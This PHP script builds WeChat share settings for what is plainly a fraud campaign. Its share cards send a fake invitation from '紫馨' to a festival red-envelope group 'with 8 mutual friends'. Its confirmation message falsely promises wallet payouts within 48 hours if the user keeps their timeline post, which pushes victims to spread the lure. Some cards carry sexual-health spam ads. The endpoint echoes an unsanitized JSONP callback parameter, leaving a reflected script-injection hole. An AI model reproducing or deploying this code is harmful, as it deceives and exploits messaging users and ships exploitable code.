<?php
$url = isset($_REQUEST['url'])?trim($_REQUEST['url']):'';
if(!$url){
	exit(json_encode(array('code'=>-10002,'msg'=>'disappear...')));
}
require_once  __DIR__ . "/wechat/jssdk.php";
@$jssdk = new JSSDK($data['app_id'], $data['app_secret']);
@$signPackage = $jssdk->GetSignPackage($url);
$domain = $data['d4'];
$rand1 = "index5gc";
$rand2 = str_rand2(6);
$timestamp = time();
@$port = "http://{$domain}/?{$rand1}.html?xssfile={$rand2}.html&_tt={$timestamp}&xxid=" . intval($data['desc']);
$ad = $data['back_url'] ? "http://{$domain}/?{$rand1}.html?xssfile={$rand2}.html&_tt={$timestamp}&xxid=" . intval($data['desc']). "&path=https://www.oschina.net/" : $port;
if ($data['back_url']) { //有分享广告
			$array = array(
				"config"=>array(
				"debug"=>false,
				"appId"=>$signPackage['appId'],
				"timestamp"=>$signPackage['timestamp'],
				"nonceStr"=>$signPackage['nonceStr'],
				"signature"=>$signPackage['signature'],
				"jsApiList"=>["onMenuShareTimeline", "onMenuShareAppMessage", "hideOptionMenu", "showMenuItems"]
			),
			"to_group"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=>$port,
			"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group2"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=>$port,
			"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group3"=>array(
			"title"=>"",
			"desc"=>"㊙ 男 人 肾 虚 阳痿 早泄 时间短 教你一招轻松搞定 ... ",
			//"link"=>"https:\/\/haohao55.applinzi.com\/{$rand}.html?xssfile=aadc_qun.html&_tt={$timestamp}",
			"link"=>$ad,
			"imgUrl"=>"http://sougostatic.oss-cn-shanghai.aliyuncs.com/static-L.jpg"
			),
			"to_group4"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=>$port,
			"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group5"=>array(
			"title"=>"",
			"desc"=>"㊙ 男 人 肾 虚 阳痿 早泄 时间短 教你一招轻松搞定 ... ",
			//"link"=>"https:\/\/haohao55.applinzi.com\/{$rand}.html?xssfile=aadc_qun.html&_tt={$timestamp}",
			"link"=>$ad,
			"imgUrl"=>"http://sougostatic.oss-cn-shanghai.aliyuncs.com/static-L.jpg"
			),
			"to_group6"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=>$port,
			"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline"=>array(
			"title"=> "邀请你加入六月 端午节 群",
			"desc"=> "紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=> $port,
			"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline1"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=> $port,
			"imgUrl"=>"https:\/\/inks-provider.oss-cn-beijing.aliyuncs.com/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline2"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			// "link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=> $port,
			"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline3"=>array(
			"title"=>"邀请你加入六月 端午节 群",
			"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
			//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
			"link"=> $port,
			"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline4"=>array(
			"title"=>"㊙ 男 人 肾 虚 阳痿 早泄 时间短 教你一招轻松搞定 ... ",
			"desc"=>"",
			//"link"=>"https:\/\/haohao55.applinzi.com\/{$rand}.html?xssfile=aadc_qun.html&_tt={$timestamp}",
			"link"=>$ad,
			"imgUrl"=> "http://sougostatic.oss-cn-shanghai.aliyuncs.com/static-L.jpg"
			),
			"to_info"=>array(
			"ok_msg"=>"由于参与人数过多，系统将在48小时内发放到您的微信钱包，请耐心等待朋友圈信息不可删除否则无法核实用户信息以免奖品发放失败0000！",
			"timeline_num"=>2
			)
			);
}else{  //无分享广告
	$array = array(
			"config"=>array(
					"debug"=>false,
					"appId"=>$signPackage['appId'],
					"timestamp"=>$signPackage['timestamp'],
					"nonceStr"=>$signPackage['nonceStr'],
					"signature"=>$signPackage['signature'],
					"jsApiList"=>["onMenuShareTimeline", "onMenuShareAppMessage", "hideOptionMenu", "showMenuItems"]
			),
			"to_group"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=>$port,
					"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group2"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=>$port,
					"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group3"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=>$port,
					"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group4"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=>$port,
					"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group5"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=>$port,
					"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_group6"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=>$port,
					"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline"=>array(
					"title"=> "邀请你加入六月 端午节 群",
					"desc"=> "紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=> $port,
					"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline1"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=> $port,
					"imgUrl"=>"https:\/\/inks-provider.oss-cn-beijing.aliyuncs.com/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline2"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					// "link"=>"https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=> $port,
					"imgUrl"=>"http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline3"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=> $port,
					"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_timeline4"=>array(
					"title"=>"邀请你加入六月 端午节 群",
					"desc"=>"紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！",
					//"link"=> "https:\/\/chifan004.applinzi.com\/{$rand}.html?xssfile=zjc.html&_tt={$timestamp}",
					"link"=> $port,
					"imgUrl"=> "http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/82130790aad27da1d6192bcf2c676ec4.png"
			),
			"to_info"=>array(
					"ok_msg"=>"由于参与人数过多，系统将在48小时内发放到您的微信钱包，请耐心等待朋友圈信息不可删除否则无法核实用户信息以免奖品发放失败0000！",
					"timeline_num"=>2
			)
	);
}
$json =json_encode($array,true);
$callback = $_GET['callback'];
exit($callback."($json)");
?>
